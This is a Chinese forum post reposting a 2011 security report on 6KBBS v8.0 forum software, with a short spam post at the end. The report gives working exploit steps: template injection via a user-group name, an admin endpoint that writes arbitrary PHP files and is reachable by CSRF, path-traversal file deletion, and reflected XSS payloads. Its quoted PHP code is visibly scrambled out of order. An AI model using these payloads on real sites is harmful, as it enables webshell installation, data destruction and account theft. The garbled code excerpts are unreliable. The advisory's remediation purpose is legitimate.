热搜:6KBBS6kbbs V8.0 官方论坛
当前位置: 6kbbs V8.0 官方论坛 » 查看dlzj4509的资料
管理快来看下;6KBBS v8.0 build 20101201漏洞分析报告

www.insight-labs.org Report  by  insight-labs (Web  Security  Group) 2011-09-30
目录

1.普通用户提权漏洞(High)
2.后台GetShell 1(High)
3.后台GetShell 2(High)
4.后台任意文件删除漏洞
5.未加HttpOnly的Cookie
6.网站绝对路径泄露
7.多处反射型XSS

一、普通用户提权漏洞(High)

<漏洞简介>
普通用户提权漏洞,可以提升为管理员权限。
<漏洞分析>
由于危害程度較大,細節暫不公開
<漏洞利用>
由于危害程度較大,細節暫不公開
<漏洞修复>
由于危害程度較大,細節暫不公開
二、后台GetShell 1(High)

<漏洞简介>
后台-用户-用户组管理页面Get Shell
<漏洞分析>

/admin/user_ajax.php?action=savegroups2

try
{

case"savegroups2":



$groups   =     $_POST['groups'];
if(is_array($groups))
{

foreach($groups     as    $group)
{
$db->row_update("groups",  $group,   "id={$group['id']}");
}
}
$rows     =     $db->row_select("groups",    "",    0,    "groupid,groupname,popedom,starnu m",     "groupid");
$groups   =     array();
foreach($rows       as    $row)
{
$groups["{$row['groupid']}"]       =     $row;
}
writeGroupsCache();
succeedFlag();
}
catch(Exception     $e)
{


}
break;

echo($e);

更新信息以后,通 过writeGroupCache() 函数把更新的信息写到\cache\groups.php   当 中 , 直 接 访 问
\cache\groups.php 就可以得到shell。
<漏洞利用>
1、 登录管理后台。
2、 进入用户-用户组-模块。
3、 任意修改一个用户组名称为{${phpinfo()}}。
4、 访问/cache/groups.php 即可看到phpinfo 页面。
<漏洞修复>
更新数据时对’,”,$符号进行转义,替换为\’,\”,\$。

2

三、后台GetShell 2(High)

<漏洞简介>
后台portalchannel_ajax.php Get Shell
<漏洞分析>

/admin/portalchannel_ajax.php?action=saverule

try
{
}

case"saverule":



$id   =     trim(strFilter($_POST['id']));
$code      =     stripslashes($_POST['code']);
writeFile("collectrules/{$id}.php",$code);
succeedRes();

catch(Exception     $e)
{


}
break;

echo($e);

直接把id 作为php 的文件名,code 作为文件内容写入/admin/collectrules/文件夹当中。
并且在接收数据的时候,没有验证Referer 和Token,可以通过CSRF 来利用。
<漏洞利用>
1、 登录后台或者使用CSRF 攻击。
2、 向/admin/portalchannel_ajax.php?action=saverule 页面POST 数据
id=test&code=%3C%3Fphpinfo%28%29%3F%3E
3、访问/admin/collectrules/test.php 即可得到shell。
<漏洞修复>

增加Referer 和Token 验证,防止CSRF 攻击。 依据论坛需求合理设计该功能。
四、后台任意文件删除漏洞

<漏洞简介>
后台任意文件删除漏洞
<漏洞分析>

/admin/database.php
case"delete"    :
$fileids    =     $_POST['fileids'];
var_dump($fileids);
if(!empty($fileids)  &&  is_array($fileids))
{
foreach($fileids      as    $fileid)
{
echo       $backdir;
if(file_exists("./{$backdir}/"  .      $fileid))
{
www.2cto.com
}
}
}
else
{

@unlink("./{$backdir}/".      $fileid);
$msgs[]  =     "文件删除成功:".$fileid;

$msgs[]  =     "请选择要删除的文件。";
}
show_msg($msgs);


break;
<漏洞利用>
1、 登录后台或者使用CSRF 攻击。
2、 向/admin/admin.php?inc=database&action=delete 页面POST 数据。
fileids[]=../../../index.php
3、index.php 被删除。
<漏洞修复>
增加Referer 和Token 验证,防止CSRF 攻击。
对fileids[]  变量进行过滤,替换变量中的.和\,/。
五、未加HttpOnly 的Cookie

<漏洞简介>
Cookie 中存有密码,并且未加HttpOnly
<漏洞分析>

/login.php


setCookies('username',   $row['username'],  $t);
setCookies('userpass',    $userpass_encrypt,$t);
setCookies('userauth',    md5($row['username'].$userpass_encrypt.$cache_settings['salt'])
,      $t);
setCookies('userhidden',$userhidden,   $t);
setCookies('expire',$t,   $t);


cookie 中的userpass 字段直接使用用户密码加密串来赋值,并且未加入HttpOnly 属性。攻击者可以通过XSS 攻 击轻松取到用户的Cookie 和加密后的密码,由于密码为md5 加密,所以很容易被破解。
<漏洞利用>
1、 使用XSS 获取其他用户Cookie
2、 使用在线破解网站破解用户密码,或者使用用户的cookie 进行登录。
<漏洞修复>
setCookies 的时候,加入HttpOnly 属性。
六、网站绝对路径泄露

<漏洞简介>
爆网站绝对路径
<漏洞分析>

/admin/portalcollect.php
/getfiles.php?f=http://xxx&t=js

未加入@容错,导致绝对路径泄露。
<漏洞利用>

1、 直接访问/admin/portalcollect.php 或者/getfiles.php?f=http://xxx&t=js 即可爆出绝对路径。
<漏洞修复>

关闭PHP 错误提示。 在出错的函数之前加上@
6

七、多处反射型XSS

<漏洞简介>
多处反射型XSS
<漏洞分析>
多处直接使用$_SERVER['PHP_SELF']变量而未进行编码,导致多处反射型XSS 漏洞。
credits.php/"><script>alert(1)</script> forum.php/"><script>alert(1)</script> index.php/"><script>alert(1)</script> login.php/"><script>alert(1)</script> online.php/"><script>alert(1)</script>

<漏洞利用>
1、credits.php/"><script>恶意JS代码</script>
2、 ….
<漏洞修复>
进行转义

所在版块:使用问题 - 发表时间: 2011-10-13 12:25
你们的论坛都弱爆了,看下我的

你们的论坛都弱爆了,看下我的       www.cyymx123.com

所在版块:网站宣传 - 发表时间: 2011-10-12 15:45